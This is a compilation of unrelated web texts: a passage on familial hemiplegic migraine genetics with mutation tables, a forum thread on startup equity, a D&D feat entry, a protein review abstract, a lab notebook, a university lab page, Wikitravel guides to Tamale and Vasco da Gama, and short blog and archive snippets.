• Headache beginning within 60 minutes of aura onset. These headaches can last 4-72 hours, occur on only one side of the head, pulsate, be of moderate to severe intensity, and may be aggravated by common physical activities such as walking. These headaches must also be accompanied by nausea/vomiting, phonophobia (avoidance of sound due to hypersensitivity) and/or photophobia (avoidance of light due to hypersensitivity).
• At least one close (first or second degree) relative with FHM
• No other likely cause
Sporadic forms follow the same diagnostic criteria, with the exception of family history.
In all cases, family and patient history is used for diagnosis. EEG and brain imaging techniques, such as MRI and CAT scans, are used to rule out epilepsy and to test for cerebellar degeneration, respectively. With the discovery of causative genes, genetic sequencing can also be used to verify diagnosis (though not all genetic loci are known).
Pathophysiology
FHM1 (CACNA1A)
The first discovered FHM locus was the CACNA1A gene (originally named CACNL1A4), which encodes the P/Q-type calcium channel CaV2.1. There are currently 17 known mutations in this channel, see Table 1, and these mutations are distributed throughout the channel. Some of these mutations result in patients with notable cerebellar degeneration or other dysfunction. 15 of these mutants have received at least some further analysis at the electrophysiological level to attempt to determine how they might lead to the FHM1 phenotype. There is increasing contradiction in the literature as to the end result of these mutations on channel kinetics and neuronal excitability.
A good example of this contradiction can be seen in the literature regarding the R192Q mutation.[1] The first investigation of this mutation, using the rabbit isoform of the channel expressed in oocytes, found that it did not alter any measured channel properties.[2] A subsequent report, using human channels expressed in HEK293 Cells, found a small hyperpolarizing shift in the midpoint for activation, a result common among FHM1 mutants.[3] This shift results in channels that open at more negative potentials and, thus, have a higher open probability than wild-type channels at most potentials. This report also found that the R192Q mutant produced almost twice as much whole-cell current compared to wild-type channels. This is not due to a change in single channel conductance but to an equivalent increase in channel density. A subsequent group noticed that this mutation is in a region important for modulation by G protein-coupled receptors (GPCRs).[4] GPCR activation leads to inhibition of wild-type CaV2.1 currents. R192Q mutant channel currents are also decreased by GPCR activation, but by a smaller amount. A more recent group has confirmed some of these results by creating a R192Q knock-in mouse.[5] They confirmed that the R192Q mutant activates at more negative potentials and that neurons producing these channels have much larger whole-cell current. This resulted in a much larger quantal content (the number of neurotransmitter packets released per action potential) and generally enhanced neurotransmitter release in R192Q expressing neurons versus wild-type. Consequently, these mutant mice were more susceptible to cortical-spreading-depression than their wild-type counterparts. The most recent experiments on this mutant, however, have contradicted some of these results.[6] In CaV2.1 knockout neurons transfected with human channels, P/Q-type currents from mutant channels are actually smaller than their wild-type counterpart. They also found a significant decrease in calcium influx during depolarization, leading to decreased quantal content, in mutant versus wild-type expressing neurons. Neurons expressing mutant channels were also less able to mediate inhibitory input and have smaller inhibitory postsynaptic currents through P/Q-type channels. Further testing with this and other mutants is required to determine their end affect on human physiology.
Table 1. Summary of mutations in CACNA1A found in patients diagnosed with FHM type 1
Mutation Position Effect Cerebellar signs Reference
Nucleotide Amino acid
c.G575A R192Q D1S4 Increases G-protein mediated inhibition, activates at more negative potentials, increased expression, faster recovery from inactivation. In mice: greater current, activates at more negative potentials, enhances transmitter release ? [1],[2],[3],[4],[5],[6]
c.G584A R195K D1S4 No [7]
c.C653T S218L D1S4-5 Increases sojourns to subconductances, activates at more negative potentials, decreased slow inactivation, increased fast inactivation Yes [8],[9]
c.G1748A R583Q* D2S4 Activates at more negative potentials, faster current decay, faster inactivation, slower recovery from inactivation Yes [7],[10],[11],[12],[13]
c.C1997T T666M D2-pore Activates at more negative potentials, faster current decay, slowed recovery from inactivation, smaller single channel conductance, higher i*Po, slower recovery from inactivation, Increased G-protein mediated inhibition, decreased gating charge (fewer channels available to open) Yes [1],[2],[3],[6],[7],[12],[14],[15],[16]
c.T2141C V714A D2S6 Activates at more negative potentials, faster current decay, faster recovery from inactivation, decreases expression, faster recovery from inactivation, increases G-protein mediated inhibition No [1],[2],[3],[6],[12]
c.C2145G D715E D2S6 Activates at more negative potentials, faster current decay, faster inactivation Yes [7],[10],[14]
c.A4003G K1335E D3S3-4 Activates at more negative potentials, inactivates at more negative potentials, slowed recovery from inactivation, increased frequency dependent rundown No [7],[17]
c.G4037A R1346Q D3S4 Yes [18]
c.A4151G Y1384C D3S5 Yes [7],[19]
c.G4366T V1456L D3-pore Activates at more negative potentials, slower current decay, slower recovery from inactivation No [11],[20]
c.C4636T R1546X** D4S1 Decreased current Yes [21],[22],[23]
c.C4999T R1667W D4S4 Yes [7]
c.T5047C W1683R D4S4-5 Activates at more negative potentials, inactivates at more negative potentials, slowed recovery from inactivation, increased frequency dependent rundown Yes [7],[17]
c.G5083A V1695I D4S5 Slowed recovery from inactivation, increased frequency dependent rundown No [7],[17]
c.T5126C I1709T D4S5 Yes [24],[25]
c.A5428C I1810L D4S6 Activates at more negative potentials, faster recovery from inactivation, decreased expression, faster recovery from inactivation, Increased G-protein mediated inhibition Yes [1],[2],[3],[6],[12]
*
**
Also diagnosed as spinocerebellar ataxia type-6
Also diagnosed as episodic ataxia type-2
Sequence numbering according to NCBI reference sequence NM_000068.2. Cerebellar signs refers to findings of cerebellar degeneration or ataxia upon clinical examination.
FHM2 (ATP1A2)
The crystal structure of the Na+/K+-ATPase with FHM2 mutations noted in purple. The N-terminus is colored blue and the C-terminus red. The approximate location of the cell membrane is noted. The original pdb file is available here.
The second subtype of familial hemiplegic migraine, FHM2, is caused by mutations in the gene ATP1A2 that encodes a Na+/K+-ATPase. This Na+/K+-ATPase is heavily expressed in astrocytes and helps to set and maintain their reversal potential. There are 29 known mutations in this gene associated with FHM2, Table 2, many clustering in the large intracellular loop between membrane-spanning segments 4 and 5, Figure 1. 12 of these mutations have been studied by expression in model cells. All but one have shown either complete loss of function or more complex decreases in ATPase activity or potassium sensitivity. Astrocytes expressing these mutant ion pumps will have much higher resting potentials and are believed to lead to disease through a poorly understood mechanism.
Table 2. Summary of mutations in ATP1A2 found in patients diagnosed with FHM type 2
Mutation Location Physiological result Reference(s)
E174K M2-3 No change [26]
T263M M2-3 [27]
G301R M3 [28]
T345A M4-5 Decreased K influx [29],[30]
T376M M4-5 [27]
R383H M4-5 [31]
T387N M4-5 [32]
C515Y M4-5 Loss of function (haploinsufficiency) [26]
R548H M4-5 [33]
R593W M4-5 Loss of function (haploinsufficiency) [34]
A606T M4-5 [27]
G615R M4-5 Loss of function (haploinsufficiency) [35]
V628M M4-5 Loss of function (haploinsufficiency) [34]
R689Q M4-5 Decreased catalytic turnover [30],[36],[37]
E700K M4-5 [38]
D718N M4-5 Loss of function (haploinsufficiency) [31]
M731T M4-5 Decreased catalytic turnover [30],[36],[37]
R763H M4-5 Loss of function (haploinsufficiency) [31]
L764P M4-5 Loss of function (haploinsufficiency) [30],[39],[40]
P796R M5-6 [31]
M829R M6-7 [27]
R834Q M6-7 [27]
W887R M7-8 Loss of function (haploinsufficiency) [26],[30],[39],[40]
E902K M7-8 [31]
935K_940SdelinsI M8-9 [27]
R937P M8-9 [27]
S966LfsX998 M9 [27]
P979L M9-10 [31]
X1021RextX28 C-Terminus [31]
Numbering according to the NCBI reference sequence NM_000702.2.
FHM3 (SCN1A)
The final known locus for FHM is the SCN1A gene, which encodes a sodium channel α subunit. The only study so far that has found mutations in this gene discovered the same Q1489K mutation in 3 of 20 families (15%) with 11 other kindreds (55%) already having mutations in CACNA1A or ATP1A2. This mutation is located in a highly conserved region of an intracellular loop connecting domains three and four. This mutation results in a greatly hastened (2-4 fold) recovery from inactivation compared to wild-type.[41] As this channel is important for action potential generation in neurons, it is expected that the Q1489K mutant results in hyperexcitable neurons.
FHM4 (1q31)
The final known locus for FHM maps to the q-arm of chromosome 1. There are a number of attractive candidate genes in this area, though no mutations in them have yet been linked to FHM4.[42]
Treatment/Management
See the equivalent section in the main epilepsy article.
Patients with FHM are encouraged to avoid activities that may trigger their attacks. Minor head trauma is a common attack precipitant, so FHM sufferers should avoid contact sports. Acetazolamide or standard drugs are often used to treat attacks, though those leading to vasoconstriction should be avoided due to the risk of stroke.
Prevention/Screening
Prenatal screening is not typically done for FHM, however it may be performed if requested. As penetrance is high, individuals found to carry mutations should be expected to develop signs of FHM at some point in life.
Epidemiology
Migraine itself is a very common disorder, occurring in 15-20% of the population. Hemiplegic migraine, be it familial or spontaneous, is less prevalent, 0.01% prevalence according to one report.[43] Women are three times more likely to be affected than males.
See also
Also caused by calcium channel mutations:
External links
References
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26. 26.0 26.1 26.2 Todt U, Dichgans M, Jurkat-Rott K, Heinze A, Zifarelli G, Koenderink J, Goebel I, Zumbroich V, Stiller A, Ramirez A, Friedrich T, Göbel H, Kubisch C (2005). "Rare missense variants in ATP1A2 in families with clustering of common forms of migraine.". Hum Mutat 26 (4): 315-21. PMID 16110494.
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29. Kaunisto M, Harno H, Vanmolkot K, Gargus J, Sun G, Hämäläinen E, Liukkonen E, Kallela M, van den Maagdenberg A, Frants R, Färkkilä M, Palotie A, Wessman M (2004). "A novel missense ATP1A2 mutation in a Finnish family with familial hemiplegic migraine type 2.". Neurogenetics 5 (2): 141-6. PMID 15133718.
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36. 36.0 36.1 Vanmolkot K, Kors E, Hottenga J, Terwindt G, Haan J, Hoefnagels W, Black D, Sandkuijl L, Frants R, Ferrari M, van den Maagdenberg A (2003). "Novel mutations in the Na+, K+-ATPase pump gene ATP1A2 associated with familial hemiplegic migraine and benign familial infantile convulsions.". Ann Neurol 54 (3): 360-6. PMID 12953268.
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I teamed up with a student at school to help him launch a new business. The student I teamed up with has been running a legacy company for the past two years, which I am also involved in. The new company we are launching is a spin-off/pivot of the old legacy company he has been working on for the past two years. I have been working on this project now for 5 months helping to build out both the old business which was dismal, and did not have much business in the prior two years, while also working on this new business which is to be launched in September. Here is the break down:
Student I'm teaming up with: - Launched legacy business 2 years ago with little business. About 3 events in the past two years. - Since I joined we have really ramped up and now have 8-12 events lined up for the coming year. - Has invested his full time and money on launching the legacy business and continues to do so for the new pivoted/spin off business as well. -Has great networking skills and contacts. -Asked me to join to be in charge of operations and to be a co founder of the new spinoff business, but not of the old legacy business.
Myself: -Joined 5 months ago -Working on the project part time while I still have my full time job -Am ready to leave full time job once funding is secured -I bring 7 years of ops and technology experience as well as a Babson MBA and a real estate startup company. -I have been working 20-25 hours per week on this project, have taken off work to attend events and meetings and work with my student co-founder on strategic direction and milestones. -I am working on re-launching the existing legacy website and planning and creating the new website. -I have been to all VC meetings and am the only other co-founder.
What is an equitable equity distribution among us? He offered me 10% with "VP of Operations" title, while he gets 60% and keeps 20% for equity of employees and another 10% for VC and Angel funding.
I rebutted saying that I don't think that is fair given the tremendous amount of work ahead since the idea is just an idea and in infancy, sacrificing my 85K salary and other businesses I could launch (opportunity cost). I rebutted with 25% equity and title of COO.
What do you guys think about this situation? I almost feel that this is still too low. I should ask for 35% of the new company... yes/no???
Thank you
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4 Answers
First off, drop any talk about titles. Title's don't mean shit, especially in a company that hasn't started yet.
You guys have a confusing business relationship, especially since you are working for this old company while building the "new" company.
First off, are you doing all this work for free?
Secondly, is this equity for the new company only or both companies?
What happens to the old company when the new company is launched?
This isn't easy because you guys are dealing with a lot of variables.
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So life is a negotiation -- Your MBA should have told you so much :-)
It sounds like you are just the two of you (for now)... Difference is that he has put more time (=money) into the legacy, but that you somehow are not using that as a base but starting from scratch in a new venture.
Offer to match his investment and go 50-50 on the ownership.
If that does not fly, ask yourself if you can do a better job by doing it alone and starting your own company -- or do you actually need him for something? If so, you need to make you mind up on how to value your contributions.
For a Series A funded company 10% for a VP of Operation is very good -- but you are not a hire after Series A valuation, much more a founder. I have seen people with that title getting 10-20% as a founding team member, but that is without putting equal stack into the company.
Hence if you create a situation where you are equals -- I.e. match any investment, time commitment etc -- then you stand a better chance of negotiating higher equity if not a straight 50-50 .
Alternatively, as a straight up employee rather than founding team member, VCs typically use a rule of thum that they are looking for 5 time return on investments for companies which exits with 3 years and 10 times returns for companies which exits within 5 years -- now with your cut in salery and fair-market values of your skill, calculate cost to yourself based on less money earned, and project that out over 5 years, and then figure out whether your shares will be 10 times worth that then. That should be your absolute minimum -- anything less than that and you are better off getting a job with whoever pay the highest salary.
Hope this helps
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There is no formula. It depends on how much you guys need each other. It is possible that your assessment of how much he needs you doesn't match his, or vice-versa. In that case you may not be able to come to an agreement. And this is also why there isn't a standard scientific approach: there isn't some objective authority you need to convince. You just need to convince each other.
To simplify, ignore dilution for investors and employees for now; you'll figure those things out mutually (with those parties) later. You have one situation where he owns 6x as much stock as you, and another that is much closer to even split. This is a pretty wide range but not an irreconcilable one.
Raise all your concerns, tell him what you want. It may also be useful to outline specific responsibilities and timelines for commitment. If you want a more comprehensive approach, check out the book The Partnership Charter.
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So, sounds like he gets 90%? He really doesn't have any obligation to do any of those other things.
I'd look at it like this. If you are making 85k now, and you quit your job to go work for this company and become a partner / co-founder you have to figure out how long it will take to get back to 85k ... and then to where you would have been if you wouldn't have started the venture.
So if there is lots of risk of you not being able to get your salary back to where you want it or more than you need more equity. If you are going to be making 85k right away, then 10% is probably sufficient. So there is a middle ground in there that you'll have to find.
Also, maybe you arrange something where you hold some of the % that will eventually be given to future employees / VC etc. rather than just him?
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Wikia
SRD:Improved Unarmed Strike
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This material is published under the OGL
Improved Unarmed Strike [General]Edit
BenefitEdit
You are considered to be armed even when unarmed—that is, you do not provoke attacks or opportunity from armed opponents when you attack them while unarmed. However, you still get an attack of opportunity against any opponent who makes an unarmed attack on you.
In addition, your unarmed strikes can deal lethal or nonlethal damage, at your option.
NormalEdit
Without this feat, you are considered unarmed when attacking with an unarmed strike, and you can deal only nonlethal damage with such an attack.
SpecialEdit
A monk automatically gains Improved Unarmed Strike as a bonus feat at 1st level. She need not select it.
A fighter may select Improved Unarmed Strike as one of his fighter bonus feats.
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Augusta, New YorkEdit This Page
From FamilySearch Wiki
United States New York Oneida CountyTown of Augusta
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Protein family review
The Smads
Liliana Attisano1,2* and Si Tuen Lee-Hoeflich2
Author affiliations
1 Department of Anatomy and Cell Biology
2 Department of Medical Biophysics, University of Toronto, 1 King's College Circle, Toronto, Ontario M5S 1A8, Canada
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Citation and License
Genome Biology 2001, 2:reviews3010-reviews3010.8 doi:10.1186/gb-2001-2-8-reviews3010
Published: 2 August 2001
Abstract
The large transforming growth factor-β (TGFβ) superfamily of secreted proteins regulate the growth, development and differentiation of cells in diverse organisms, including nematode worms, flies, mice and humans. Signals are initiated upon binding of TGFβ superfamily members to cell-surface serine/threonine kinase receptors and are then propagated by the intracellular mediators known as Smads. Activation of Smads results in their translocation from the cytoplasm into the nucleus, where they activate or repress transcription together with transcription factors so as to regulate target gene expression. Most Smads consist of two conserved domains. Mad homology (MH) domains I and 2, which are separated by a non-conserved linker region. These domains lack enzymatic activity and, instead, Smads mediate their effects through protein-protein and protein-DNA interactions. Targeted disruption of Smad genes in mice has revealed their importance in embryonic development, and a tumor-suppressor role for Smads in human cancers has been described. Smads therefore play an essential role in mediating TGFβ-superfamily signals in development and disease.
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User:Mary Mendoza/Notebook/CHEM 571 Experimental Biological Chemistry I/2012/11/14
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Project name Main project page
Previous entry Next entry
ADA Kinetic Assay Runs
• During the previous lab entry, the molar absorptivities of adenosine and inosine were calculated. Adenosine was found to have a higher molar absorptivity at 235.
• It was concluded from the previous period that the absorption of adenosine should decrease over time. A kinetic assay scan of the reaction containing 2.7 mL of 0.05 M sodium phosphate buffer, 300 μL of 3.07 mM adenosine, and 15 μL of 42 μM ADA was taken.
• The program was set to Kinetics with the wavelength at 235 for a collection span of 600s.
• In the scan, it can be observed that the absorption of adenosine is not decreasing over time. Instead, the absorption is increasing. Also, the signal for the absorption of adenosine is over 1.
• It was decided that the next measurements, the concentration of adenosine should be decreased by decreasing the volume in th cuvette. This is to ensure that the absorbance is below 1.
Volume of ADA (μL) Concentration of ADA Volume of phosphate buffer (mL) Concentration of phosphate buffer (M) Volume of adenosine (μL) Concentration of adenosine (mM)
152.950.051500.051
502.950.051500.051
UV-vis of Adenosine and Inosine
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X-Lab
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X-Laboratory
(跨膜与感觉信号转导研究组)
Principle Investigator: Xiaodong LIU, Ph.D. (刘晓冬)
Department of Biomedical Engineering, School of Medicine
School of Life Sciences
at Tsinghua University
Welcome to the X-Lab!
LAB DESCRIPTION
Our lab is broadly interested in transmembrane and sensory signaling based on channels, pursuing both biophysical mechanisms and bioengineering innovations.
One of the most important signaling pathways to convey information from external world into biological systems is by way of channels sitting across the membrane. Such channels: could be cued either by physical (e.g. voltage or photons) or by chemical signals (e.g. toxins or ions); could be either natural channels (e.g. ion channels conductive to Ca2+ or K+) or engineered channels (e.g., nanopores by ultrasound). We mainly focus on fundamental mechanisms critical to channel complexes involved in transmembrane signaling, especially those related to sensory functions, such as vision, taste, hearing and other less-studied modalities. Representative work toward this direction refers to Liu X. et. al. Nature. Meanwhile, we actively explore the potentials of novel methodologies developed or derived from our basic research, such as sonoporation, channel modulators, biomolecular sensors etc. relevant publications
Lab News
JIANG Peng from X-Lab presented research at Students Symposium of Life Sciences, Oct 15-16, 2011, Beijing
X-Lab presented research at CaBP17, July 17-20, 2011, Beijing
LIU Nan et al.(poster)
XU Yanyan et al. (poster)
LIU Xiaodong （invited talk)
The X-lab is starting to accept PTN students for research rotations!
http://life.tsinghua.edu.cn/home/announce/1613.html
http://www.nibs.ac.cn/?act=view&id=2741
Postdoctoral Position Openings http://www.nature.com/naturejobs/science/jobs/191089-Postdoctoral-Fellow-Tsinghua-University
X-Lab (LIU Qing, XIE Xin and LIU Xiaodong) presented the poster:
CHARACTERIZATION OF QUANTITATIVE FRET SENSORS FOR FLUORESCENCE MOLECULAR TOMOGRAPHY
Author Block: Qing Liu, Xin Xie, Yi Zhang, Yanyan Xu, Yue Zhang, Xin Liu, Jing Bai, Xiaodong Liu.
Tsinghua University, Beijing, China.
during Biophysics Society Annual Meeting, March 2011 at Baltimore, MD, USA
Updates
Individual Meetings (Starting from 2011/5)
X-LAB Schedule
17th “International Biophysics Congress” (IAPUB) Oct 30-Nov 3 Beijing, China
http://www.17ibc.org/
55th Annual Meeting of Biophysical Society March 5 - 9, 2011
http://www.biophysics.org/2012meeting
Journal Club (Jointed with DU Lab and SONG Lab)
2010
ZHANG Yue 8/12 FRET-based FMT
XU Yanyan 9/10 GPCR/Sensory Neuron
ZHAO Shan (from Du Lab) 9/25 Remotely Triggerable Drug Delivery Systems
LIU Qing 10/15 reversible photoswitchable rsTagRFP for pcFRET
YU Tao (from Song Lab) 10/22 Tetracycline-regulatable factors with distinct dimerization domains allow reversible growth inhibition by p16
TSE Yan Franco (XIE Xin) 10/29 Calcium Channels
NIU Pengxia (from DU Lab) 11/5 fuorescent structural DNA nanoballs functionalized with phsphate-linked nuceotide triphosphates
LI Xuesong (from SONG Lab) 11/19 global and local fmri signals driven by neurons defined optogenetically by type and writing
Claudia Wittkowske (from DU Lab) 11/26 "Glioblastoma stem-like cells give rise to tumour endothelium"
XUE Wenwen 12/10 bacteria magnetosome
YU Tao (from SONG Lab) 12/17 optical dimerization
XU Yanyan 12/24 Functional connectivity in the retina at the resolution of photoreceptors
2011
ZHAO Shan (from Du Lab) 1/7 Mimicking nature by codelivery of stimulant and inhibitor to create temporally stable and spatially restricted angiogenic zones
LI Xuesong (from SONG Lab) 2/25 "Genetic dissection of an amygdala microcircuit that gates conditioned fear" and "Encoding of conditioned fear in central amygdala inhibitory circuits"
LIU Nan 3/28 Salty Taste
X-LAB.
The following positions are currently available:
Postdoctoral Fellows
Ph.D. Students
Masters' Students
Please send email to Dr. Liu if you are interested. Include your CV and a brief description of your career goals.
We also welcome undergraduate students (especially from major research universities in Beijing) to conduct research in our lab on thesis projects.
All above positions can start immediately.
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December 19, 2010 RedsArmyAdmin Uncategorized 1
Forbes Magazine: Boston Celtics Have 7th Best Fans In Pro Sports
According to Forbes Magazine, Celtic fans rank seventh overall as the "Best fans in professional sports." Forbes used three different metrics across each of the four "major" sports leagues (NBA, NFL, MLB, NHL) which were the following: Measure home and away attendance (indicating the team's drawing power) Counted team's merchandise sales (provided by Sportsonesource) Rank [...]
August 3, 2010 Jay Uncategorized 2
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The Rice Thresher (Houston, Tex.), Vol. 85, No. 26, Ed. 1 Friday, April 24, 1998
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Item Metadata
dc.contributor.editor Stoler, Brian
dc.coverage.spatial United States - Texas - Harris County - Houston
dc.coverage.temporal Into Modern Times, 1939-Present
dc.date.accessioned 2012-11-07T05:52:15Z
dc.date.available 2012-11-07T05:52:15Z
dc.date.issued 1998-04-24
dc.identifier.uri http://hdl.handle.net/1911/68279
dc.description sixteen pages : ill. ; page 19 x 15 in.
dc.description.abstract A weekly student newspaper from the Rice University in Houston, Texas that includes campus news and commentaries along with advertising.
dc.language eng
dc.publisher Rice University
dc.relation.ispartof This digitized newspaper is also presented online at the Portal to Texas History, at http://texashistory.unt.edu/ark:/67531/metapth246622/
dc.relation.ispartofseries This Issue appears in Vol. 85 of the Rice Thresher.
dc.rights Rights to this material belong to Rice University. This digital version is licensed under a Creative Commons Attribution 3.0 Unported license.
dc.rights.uri http://creativecommons.org/licenses/by/3.0/
dc.subject.lcsh Harris County (Tex.) -- Newspapers
Houston (Tex.) -- Newspapers
Houston (Tex.) -- Periodicals
Student publications -- Texas -- Houston
College student newspapers and periodicals -- Texas -- Houston
dc.title The Rice Thresher (Houston, Tex.), Vol. 85, No. 26, Ed. 1 Friday, April 24, 1998
dc.digitization.specifications Page images were scanned by the UNT Portal to Texas History from microfilm as 8-bit grayscale at 400 dpi and saved as TIF masters, with OCR'd PDF access copies.
dc.source.collection Rice Thresher, Fondren Library, Rice University, Houston, Tex.
dc.citation.volumeNumber 85
dc.citation.issueNumber 26
dc.identifier.digital thr19980424
dc.contributor.publisher Rice University
dc.type.genre Newspaper
dc.type.dcmi Text
dc.identifier.citation (1998). "The Rice Thresher (Houston, Tex.), Vol. 85, No. 26, Ed. 1 Friday, April 24, 1998." vol. 85. no. 26,
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Help Wikitravel grow by contributing to an article! Learn how.
Tamale
From Wikitravel
Africa : West Africa : Ghana : Ghanaian Northern Plains : Tamale
Revision as of 19:25, 1 November 2012 by IBAlex (Talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
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Tamale is the capital city of Northern Ghana. The city is like a conglomeration of villages where one can find an architectural blend of traditional mud houses and modern buildings. While the majority of the houses are roofed with corrugated iron sheets, a good number of them are roofed with grass. Many of these mud block compounds have TV antennae and electricity wires.
[edit] Get in
Main Street in Tamale on Sunday
Public bus (STC) from Accra or Kumasi is cheap and safer than the maniac private bus drivers. It takes 12-14 hours from Accra, leaving at both 7 and 8am so make sure you make a bathroom stop on the lunch stop as you might not be able to otherwise.
You can also take a direct flight to Tamale from Accra using Fly540Africa, Antrak Air, Starbow or AWA.
Private car from any medium sized town with driver is only about GH₵30 a day.
[edit] Get around
* The Travel Guide Agent Ghana LTD phone +233(0)249507413
(website:http:www.travelguideagentghana.com) is a new Tour company that rent out cars,minivan in tamale and a few cars at the tamale airport which can bring you direct to Mole National Park and also anywhere across the north of Ghana. The can also arrange the varies hotels in Tamale and mole national park for your relaxation,
[edit][add listing] See
Good point from which to visit Bongo (Moon Landscape) Tongo and Congo or if heading to Burkina Faso (neighbouring country). visit the Paga crocodile pond and all the slave camp near paga. also visit sirigu art village to learn about all the arts and craft of the northern people of Ghana
Mole National Park can be a day trip from tamale. visit mole to see Elephants, Warthogs, several types of Monkey. There road to mole is very bad you will need a 4-wheel drive to mole park for your safari and canoeing in to the national park. near mole national park you can visit the oldest mosque in Ghana Larabanga.Also new Eco-village near mole national park where you can tour the village and also overnight at the village (homestay).
[edit][add listing] Do
Top up on supplies if you are heading out into the smaller towns or countryside.
Chat to the locals, very friendly bunch and you will find the best travel info this way.
Traditional Houses in the Town
[edit][add listing] Buy
Market on Main Street Cobblers, textiles and lots of food. Worth going into for the look of it alone and you may be hassled to 'buy Yam!' especially if you are a woman.
Cultural Centre behind the main street in the grounds of a disused theatre. Oil paintings from GH₵7.50!!, batiks, ornaments, cheap jewelry, goatskin handbags foot pillows, drums.....
Wander around a bit and you will find music shops selling tapes of the current Ghanian charts, worth bringing a few home to remind yourself of the sunny, almost Jamaican style music being played everywhere.
[edit][add listing] Eat
It is not recommended that you eat from food stalls on the road as food poisoning is a high risk.
In Cultural Centre behind the theatre there is a great place with air conditioning and a Video Disc player playing Celine Dion songs endlessly.
Kosu - a local snack made from deep fried bean flour dough which can be bought just off the main street across from the taxi station. A few western style shops also on the main street.
Gidipass (now called Crest Restaurant) bar on the main street also serves good rice dishes and even spring rolls. If you want something more like home they have a dining room in a colonial style.
Sparkles Restaurant in the Cultural Centre offers a wide variety of dishes and is recommended for its hygienic kitchen and friendly staff. Every Friday evening at 9PM there is a cultural performance to introduce local culture to the visitors.
[edit][add listing] Drink
Popular evening spot
Gidipass bar on Main Street, across and down a little from taxi rank where all the 'whites' and a few locals go. Hsve a few types of beer and sodas. Also serve good meals. Other small bars located around the main area (taxi rank and market)
Meet Me There Drinking spot is a few km north along the main road towards Bolgatanga (called Bolga Road). Set in a tall canopy of palm and date trees, drinks are at cost or below (meaning GH₵0.25 for a mineral/pop bottle), where as at Gidipass or other tourist centres, they cost GH₵0.60 or more. You can pick up some food from the street, and they'll bring you dishes to eat with and soap to wash with! Don't get too comfortable though. They'll kick you out at 10PM regardless of how much business you're giving them
[edit][add listing] Sleep
• The Asempa Lodge, Phone: +233 (0)207 09 00 65,
the Asempa Lodge
(website: http://www.asempalodge.com ) is run by a Belgian and Dutch partnership with clean rooms and attentive staff. The private swimming pool and nice African looking apartments are very attractive while the prices are reasonable (ranging from € 6 for a single room with a shared bathroom facility up to € 27 for a self contained double room with breakfast and supper included).
The lodge is located out of town to ensure a quiet environment, a free shuttle service is provided to visit the city centre of Tamale. Guided tours to neighbouring villages and an all-in trip to Mole National Park are also available.
• Gariba Lodge, Phone: +233 071-23371/23041-3, (Email: garibalodge@hot-mail.com, Is a hotel considered to be two stars by the government.
• The Tamale Institute of Cross Cultural Studies offers boarding as well as a roof-top cantina/bar. Limited number of air-conditioned rooms available. Rooms generally available when courses are not in session (most of the time). See website: http://www.ticcs.org/residence
[edit] Contact
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Vasco da Gama
From Wikitravel
Revision as of 16:46, 21 August 2008 by SBC-YPR (Talk | contribs)
Jump to: navigation, search
Vasco da Gama is a port city in the west coast Indian state Goa.
Get in
By Plane
Goa's only international airport is located in the the city, and is served by Air India [1], Jet Airways [2], Kingfisher Airlines [3] and Kuwait Airways .
By Train
Vasco da Gama (IR station code : VSG) is connected by direct trains to Delhi, Bangalore, Hyderabad, Pune, Kolkata and Chennai. There are several more connections to Mumbai and other places available from Madgaon Junction, 24 km away.
For a list of trains, see the main article.
By Road
Vasco is a 30 km drive from Panaji. There are frequent bus services to towns in neighbouring Karnataka and Maharashtra. Also, all major services that connect Panaji to other cities usually have connections from Vasco.
By Sea
While there are no regular ships operating from Mormugao harbour, the cruise ship Superstar Libra calls at the port on its journeys from Mumbai to Lakshwadeep.
Get around
Get around in a car, bus, scooter, or on foot.
See
The "Japananese Garden" up the hill in a place called SADA. It is in a hill top facing the ocean. The route to the garden from the VASCO station, gives a good view of the ships in the ocean in the goan ship yards on your right hand side. It is seated in a beautiful calm place. You can sit on top and watch the ocean, or walk down to a temple at the shore. There is a side walk that takes you to the navy apartments nearby. It is not a usual tourist spot. It is very quiet and calm in the day time and the ideal time to visit would be early mornings or evenings.
Beaches: Bogmalo is a small beautiful beach behind the airport. But the water can get very rough here. Velsao is a long fantastic beach a little far from the airport. But its absolutely lonely most of the time, nobody is around! It is not dangerous, but can be lonely!
Do
• Being mainly a business town, there isn't much to do for the tourist in Vasco da gama. However the parks and nearby beaches do provide an option to spend a few hours in complete leisure.
• One new attraction is the Sea Walk at Baina beach.
• The Naval Aircraft museum on the way to Bogmalo beach is another must see attraction.
Buy
Eat
• If you want a coffee and a cake, choose "Temptations" near the railway station. It has a youthful vibrant ambience and its open 24 hours.
• If you want south Indian food, there is "Annapurna" which is about 5 minutes from the station. You can go upstairs for airconditioned family space.
• If you want authentic Goan ambience - choose "Anantashram" - absolutely wonderful environment with a thatched roof, cartoons on the wall, and a big screen TV.
• "Little Chef" is a good place for a Goan Fish Curry Thali.
• If you are travelling towards the airport from the station, stop by "Flintstones" a good family friendly restaurant at the circle, for a pizza or a burger!
• A little further from Flintstones is Kababs, Currys and Cocktails - excellent food, rich environment.
Drink
• There are various wine shops that sell alcohol and are available quite easily.
• Harbour Bar in Hotel La Paz and all other hotels usually have a bar.
Sleep
• Hotel La Paz on Swatantra Path is the best business hotel in Vasco. There are few other hotels like Bismark, Citadel and Karma that cater to the business traveller. There are also two new hotels under construction on Swatantra Path. For the tourists, it is best to find a hotel near Bogmalo beach, which is only 8 kilometres away from Vasco da Gama.
• Sleep when the sun is high and hot. All shops close down for a siesta in the afternoons in Goa! Find a cool calm place and rest until 4pm!
Contact
Cybercafes around Vasco Da Gama
• National Bakery, 2 5, Da Silva Chambers, Swatantra Path, Opp Hotel Lapaz, Vasco Da Gama,Goa 403802
Get out
Considering the convenient travel connections to outside the state and the small size of Goa, it is quite easy to travel all over the state being based in Vasco. Consider hiring a taxi or going on the tour buses organised by the tourism department, which can be rented from the Goa Tourism Department run Tourist Hostel.
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Ad Age's article published on January 5, 2009 ("Economy Weighs Heavily on Marketing Execs for 2009") started with, "Marketing executives are tired of buzzwords such as Web 2.0, blogs and social networking."
The article goes on to say that marketers are going back to the basics with an emphasis on addressing four areas: customer satisfaction, customer retention, marketing ROI, and brand loyalty.
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Monday, September 03, 2007
A Quiet Monday For The Blog
If all goes as planned, you won't see any blog posts on today - Monday. OK, you'll see this one, but that's it.
Shira and I struck a deal - she would let me do what I wanted to do on Sunday, and she would have Monday.
So I lived it up Sunday - mowing the lawn, getting a run in and lots of blogging. She even took me out to dinner at Eli's Kosher Restaurant. Mmmm, Kosher meat.
But, today is now Monday. I doubt she has blogging on her list of things she plans to do today. She may take away my phone altogether, for that matter.
